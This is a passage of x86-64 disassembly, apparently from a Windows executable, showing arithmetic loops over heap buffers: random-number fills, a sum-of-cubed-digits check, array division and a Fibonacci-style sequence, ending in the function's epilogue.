movsd xmm1, qword [rbp + 0x1b88]
addsd xmm0, xmm1
movsd qword [rbp + 0x1b88], xmm0
cmp dword [rbp + 0x1b98], 0x1ab3
jle 0x140002a95
movsd xmm1, qword [rbp + 0x1b88]
movsd xmm0, qword [0x1400112b8]
mulsd xmm0, xmm1
movsd qword [rbp + 0x1b88], xmm0
mov dword [rbp + 0x1b80], 1
jmp 0x140002d41
mov dword [rbp + 0x1b84], 0
mov eax, dword [rbp + 0x1b80]
mov dword [rbp + 0x1b7c], eax
mov dword [rbp + 0x1b70], 0
mov ecx, 0x21c
call sym.malloc
mov qword [rbp + 0x13b8], rax
mov dword [rbp + 0x1b78], 0
jmp 0x140002c0b
mov dword [rbp + 0x1b74], 0
jmp 0x140002bfb
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffd0f682cf
shr rdx, 0x20
add edx, eax
sar edx, 0xb
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x9cd
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1b78]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x13b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1b74]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1b74], 1
cmp dword [rbp + 0x1b74], 4
jle 0x140002b92
add dword [rbp + 0x1b78], 1
cmp dword [rbp + 0x1b78], 0x1a
jle 0x140002b86
mov dword [rbp + 0x1b78], 0
jmp 0x140002c92
mov dword [rbp + 0x1b74], 0
jmp 0x140002c82
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x1b70]
mov eax, dword [rbp + 0x1b78]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x13b8]
add rdx, rax
mov eax, dword [rbp + 0x1b74]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x1b70], eax
add dword [rbp + 0x1b74], 1
cmp dword [rbp + 0x1b74], 4
jle 0x140002c30
add dword [rbp + 0x1b78], 1
cmp dword [rbp + 0x1b78], 0x1a
jle 0x140002c24
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
call sym.free
jmp 0x140002d17
mov edx, dword [rbp + 0x1b7c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x13b0], edx
mov eax, dword [rbp + 0x13b0]
imul eax, eax
imul eax, dword [rbp + 0x13b0]
add dword [rbp + 0x1b84], eax
mov eax, dword [rbp + 0x1b7c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x1b7c], eax
cmp dword [rbp + 0x1b7c], 0
jne 0x140002cac
mov eax, dword [rbp + 0x1b84]
cmp eax, dword [rbp + 0x1b80]
jne 0x140002d3a
mov eax, dword [rbp + 0x1b80]
mov dword [rbp + 0x13b4], eax
add dword [rbp + 0x1b80], 1
cmp dword [rbp + 0x1b80], 0x12b9
jle 0x140002b46
mov dword [rbp + 0xf0], 0x68
mov dword [rbp + 0x1b6c], 0
mov dword [rbp + 0x1b68], 1
mov dword [rbp + 0x1b64], 0
mov dword [rbp + 0x17ac], 0
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x17a0], rax
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x1798], rax
mov ecx, 0x340
call sym.malloc
mov qword [rbp + 0x1790], rax
mov dword [rbp + 0x1b60], 0
jmp 0x140002eb1
mov dword [rbp + 0x1b5c], 0
jmp 0x140002e9d
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x1b60]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x17a0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x1b5c]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x1b60]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1798]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x1b5c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1b5c], 1
cmp dword [rbp + 0x1b5c], 0xc
jle 0x140002dd4
add dword [rbp + 0x1b60], 1
cmp dword [rbp + 0x1b60], 0xf
jle 0x140002dc5
mov dword [rbp + 0x1b60], 0
jmp 0x140002fa0
mov dword [rbp + 0x1b5c], 0
jmp 0x140002f8c
mov eax, dword [rbp + 0x1b60]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x17a0]
add rdx, rax
mov eax, dword [rbp + 0x1b5c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1b60]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1798]
add rdx, rax
mov eax, dword [rbp + 0x1b5c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1b60]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1790]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x1b5c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1b5c], 1
cmp dword [rbp + 0x1b5c], 0xc
jle 0x140002edc
add dword [rbp + 0x1b60], 1
cmp dword [rbp + 0x1b60], 0xf
jle 0x140002ecd
mov rax, qword [rbp + 0x17a0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1798]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1790]
mov rcx, rax
call sym.free
mov dword [rbp + 0x178c], 0x10fc
jmp 0x1400032fa
mov dword [rbp + 0x13e8], 0
mov ecx, 0x4a0
call sym.malloc
mov qword [rbp + 0x13e0], rax
mov ecx, 0x4a0
call sym.malloc
mov qword [rbp + 0x13d8], rax
mov ecx, 0x4a0
call sym.malloc
mov qword [rbp + 0x13d0], rax
mov dword [rbp + 0x1b58], 0
jmp 0x140003129
mov dword [rbp + 0x1b54], 0
jmp 0x140003115
cmp dword [rbp + 0x1b54], 0x24
jle 0x140003044
cmp dword [rbp + 0x1b58], 7
jle 0x140003035
mov dword [rbp + 0x1b58], 0
jmp 0x140003236
cmp dword [rbp + 0x1b58], 7
jle 0x140003145
mov eax, dword [rbp + 0x1b64]
cmp eax, dword [rbp + 0x178c]
jl 0x140002fe9
mov dword [rbp + 0x1b4c], 0
mov dword [rbp + 0x1b48], 1
mov dword [rbp + 0x1b44], 0
mov dword [rbp + 0x1788], 0x13f
jmp 0x140003369
mov edx, dword [rbp + 0x1b4c]
mov eax, dword [rbp + 0x1b48]
add eax, edx
mov dword [rbp + 0x13ec], eax
add dword [rbp + 0x1b44], 1
mov eax, dword [rbp + 0x1b48]
mov dword [rbp + 0x1b4c], eax
mov eax, dword [rbp + 0x13ec]
mov dword [rbp + 0x1b48], eax
mov eax, dword [rbp + 0x1b44]
cmp eax, dword [rbp + 0x1788]
jl 0x140003336
mov qword [rbp + 0x1b38], 0
mov dword [rbp + 0x1784], 0x6c
mov dword [rbp + 0x1b40], 1
jmp 0x1400033ae
mov eax, 0
movups xmm6, xmmword [rbp + 0x1c10]
add rsp, 0x1ca8
pop rbx
pop rsi
pop rdi
pop rbp
ret